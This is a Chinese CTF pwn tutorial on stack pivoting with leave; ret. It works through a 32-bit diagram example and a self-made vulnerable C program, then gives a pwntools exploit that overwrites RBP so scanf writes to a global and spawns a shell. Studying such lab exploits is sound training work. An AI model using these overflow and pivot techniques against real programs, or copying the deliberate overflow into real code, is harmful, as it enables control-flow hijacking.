栈迁移

一般看见只能溢出到 RBP 和 ret_addr 的题,基本就是栈迁移了,其实就是当栈空间不够构造 ROP 链时将栈迁移到别的地方去构造 ROP 链

注意:要想实现栈迁移,至少要能溢出覆盖 RBP

要利用栈迁移来实现 ROP,关键就在于 leave; ret 这两个指令

如果对函数的执行、函数调用栈不太熟悉,可以看看本站《函数调用栈》这篇文章

leaveret 指令一般位于汇编函数的末尾,leave 的功能可以等价为:

mov esp, ebp  ; 恢复栈指针
pop ebp       ; 恢复基址指针

ret 则等价为:

pop eip ; 这样写是方便理解,实际上不存在 pop eip 这个汇编指令

既然栈迁移是将栈迁移到其他地方,那么肯定要对栈指针做手脚了

正常来说,汇编函数结束后,一个 leave; ret 即可恢复正常的执行流,让程序返回到调用该函数的那个函数中

那如果我们在汇编函数执行 leave; ret 后,再执行一次 leave; ret 会发生什么呢?


栈迁移的应用场景

注意,学习这里必须要分清:地址、地址中存放的值,这两者是不一样的,不然容易懵

就像 C 语言中指针 p 指向一个内存单元,也就是一个地址;而 *p 指的是这个内存单元中存放的数据,是一个值

因为涉及 pop ebp 指令,所以先解释一下:

EBP 是一个基址指针寄存器,通常它的值是一个地址,所以可以理解为是一个指向该地址的指针,一般用于指向栈底

但是 EBP 指向的这个地址中,也是可以存放数据的(这个数据的值一般是曾经的 EBP 所指向的那个地址),所以要区分:EBP 指向的地址、EBP 指向的地址中存放的数据


可以覆盖到返回地址

输入的长度可以溢出到 ret_addr,但是不够构造 ROP 链怎么办?

接下来,我们以一个 32 位程序的例子来展示栈迁移的第一个作用

假设初始时栈空间如下(ESP ~ EBP 之间的区域):

CTF - Pwn_栈迁移1.png

注意,在上图的栈中:

红色的内存单元:EBP 曾经、现在、以后指向的位置(EBP 所在的位置决定了栈在哪里)
绿色的内存单元:EBP 下方的返回地址,也就是 ret 指令执行时 ESP 所在的位置
黄色的内存单元:栈空间
白色的内存单元:里面的内容不重要,无视就行

初始时,EBP 指向栈底 0xffffce00 地址处,该地址处存放着 0xffffce28 这个值(也就是曾经的栈底地址,在图中也可以看的很清楚)

返回地址 0xffffce04 处存放着函数 func_1 中某条指令 cmd_1 的地址,那么程序最终会返回到函数 func_1 中 cmd_1 这条指令的下一条指令处继续执行

注意:实现栈迁移需要 2 次 leave; ret 指令

而函数正常结束只有一次 leave; ret 指令,因此我们需要将函数的返回地址处改为 leave; ret 指令所在的地址,这样在函数结束后,能够再执行一次 leave; ret 指令

现在我们来分析一下,如果我们将返回地址 0xffffce04 处的内容覆盖掉,改成 leave; ret 指令的地址,同时将 EBP 改为我们想要迁移过去的地方(假设是 0xffffcdc8),看看会发生什么?

当执行到 leave; ret 指令时:

CTF - Pwn_栈迁移2.png

当最后的 ret 指令执行后,esp + 4 使 ESP 下移一格到 0xffffce08 地址处

然后程序会到 leave; ret 指令所在的地址处执行 leave; ret 指令,过程如下:

CTF - Pwn_栈迁移3.png

我们发现,在经历 pop ebp 后,EBP 指向的地址是未知的

因为我们并没有人为去更改 0xffffcdc8 地址处存放的内容,所以 EBP 最终指向了哪里取决于 0xffffcdc8 地址处原本的内容是什么,但这不是我们关注的重点,因此就当 EBP 指向了一个未知的地址

重要的是,在经历 pop ebp 后,esp + 4 使 ESP 下移一格,ESP 指向了地址 0xffffcdcc 处,然后会执行一次 ret 指令

也就是说,我们其实可以将 ESP 指向的 0xffffcdcc 地址处看成是新的返回地址

到这里,相信你应该已经知道这样做意味着什么了吧?

相当于我们将原来的栈的返回地址迁移到了 0xffffcdcc 这个地方,由于程序之前的返回地址被我们修改了,自然就无法正常返回到之前的 func_1 函数,那么程序的整个执行流将由我们控制

我们直接将 ROP 链写在 0xffffcdcc 这个地址后面即可,就不需要担心写入空间不够了

总结一下:

  1. 首先,我们需要将当前的 EBP 覆盖为新的目标地址 target_addr,那么 target_addr - 4 的位置就是新的返回地址。而这个 target_addr 怎么选就视情况而定了,但是有两点是必须的:

target_addr 这个地址必须是已知的,由于栈的地址通常是未知的,除非存在格式化字符串漏洞的话可以泄露出来,因此优先选择 BSS 段的空间

target_addr 所在的区域必须是可写的,要有可写入权限,看似是废话,但是很关键,一般栈空间都是可写的,但 BSS 段不一定

  1. 其次,我们要将当前栈的返回地址覆盖为 leave; ret 指令所在的地址,注意是指令所在的地址,不是 leave; ret 这个字符串!因此又分两种情况:

① 程序中直接有 leave; ret 指令,且真实地址很容易得到,那就没什么好说的了,不过这个指令涉及到函数的返回所以一般都会有的,也可以用指令搜索:ROPgadget --binary 二进制程序 --only 'leave|ret'

② 另一种方法,就是在具备写入权限的情况下,利用程序的输入自己写 leave; ret 指令,优先写到 BSS 段这种地址容易得到的地方,当然写到栈里然后想办法泄露出真实地址也是可以的

相关例题见《【HDCTF 2023】KEEP ON


只能覆盖到 RBP

输入的长度只能溢出到 RBP,连返回地址都够不到怎么办?

接下来,我们以一个 64 位程序的例子来展示栈迁移的第二个作用

如果只能溢出到 RBP,无法覆盖返回地址,那当然就没办法控制程序的执行流了,但是不是就没有其他作用了呢?

这个用法的基础在于对汇编语言的理解,例如下面的代码:

#include<stdio.h>

int v6 = 0x999;

int func_1() {
    char buf[0x20];
    puts("give me your input:");
    read(0, buf, 0x28);
    return 0;
}

int init_func() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
    return 0;
}

int main() {
    init_func();
    func_1();
    int num;
    puts("now crack me!");
    scanf("%ld", &num);
    if(v6 == 2024)
        system("/bin/sh\x00");
    return 0;
}

// gcc -fno-stack-protector mytest.c -no-pie -o mytest

我们编译后,程序保护为:

CTF - Pwn_栈迁移6.png

在 IDA 里查看:

CTF - Pwn_栈迁移4.png

可以看到 bufrbp - 20h 的地方,而我们只能输入 0x28 的长度,刚好覆盖 RBP

主函数:

CTF - Pwn_栈迁移7.png

我们的目的是要修改 v6 的值为 2024,执行 system("/bin/sh")

v6 作为全局变量,值为 0x999,可以看到 v6 位于 DATA 段:

CTF - Pwn_栈迁移5.png

现在 buf 的溢出无法覆盖返回地址,scanf() 输入的是 v4,也改变不了 v6

那怎么办呢?

我们来看看scanf() 的汇编:

CTF - Pwn_栈迁移8.png

在 C 语言中,scanf() 会让我们输入一个数据,这个数据存在哪里呢?

在 64 位程序中,scanf() 输入的数据会存放在 RSI 寄存器中

但是,我们输入的数据应该是存放在栈上的,那这个 RSI 寄存器中的数据到底从哪来呢?

通过汇编我们可以看出:

lea     rax, [rbp+var_4]
mov     rsi, rax

程序首先会通过寻址将 rbp + var_4 这个地址处的值取出存放到 RAX 寄存器,然后由 RAX 寄存器送入 RSI 寄存器,而这个 var_4 实际就只是一个偏移量:

CTF - Pwn_栈迁移9.png

因此,scanf() 输入的数据最终确实存放在 RSI 寄存器,但这个数据具体是从哪里去取的,取决于 RBP 的位置,因为是根据 rbp + var_4 去寻址的

到这里,相信你应该已经知道我们该怎么做了吧?

如果我们将 rbp + var_4 迁移到 v6 所在的 DATA 段地址(这里 RBP 的迁移是通过 func_1() 自己的 leave 指令来实现的),不就可以通过 scanf() 的输入将 v6 的值修改掉吗?

因此构造 exp 如下:

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

# 将本地的 Linux 程序启动为进程 io
io = process("./mytest")


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


v6_addr = 0x404050
payload = b'a' * 0x20 + p64(v6_addr + 4)
io.recvuntil(b'give me your input:\n')
# debug()
io.send(payload)

io.recvuntil(b'now crack me!\n')
io.sendline("2024")

# 与远程交互
io.interactive()

至于为什么是 p64(v6_addr + 4)

因为我们这里修改的是 RBP 的值,而寻址的地方是 RBP - 4

因此,如果我们将 RBP 改为 p64(v6_addr + 4),那么寻址的地方 RBP - 4 正好就变成了 p64(v6_addr)scanf() 就会将我们输入的 2024 写到 v6 中了

总结一下:

如果溢出长度只够覆盖 RBP,那我们是无法控制程序执行流的

但是可以通过覆盖 RBP 实现栈迁移,利用 scanf() 实现任意地址写(当然前提是有写入权限)

同理,read() 的寻址也是依赖于 RBP 的,我们也可以用类似的思路实现任意地址读:

CTF - Pwn_栈迁移10.png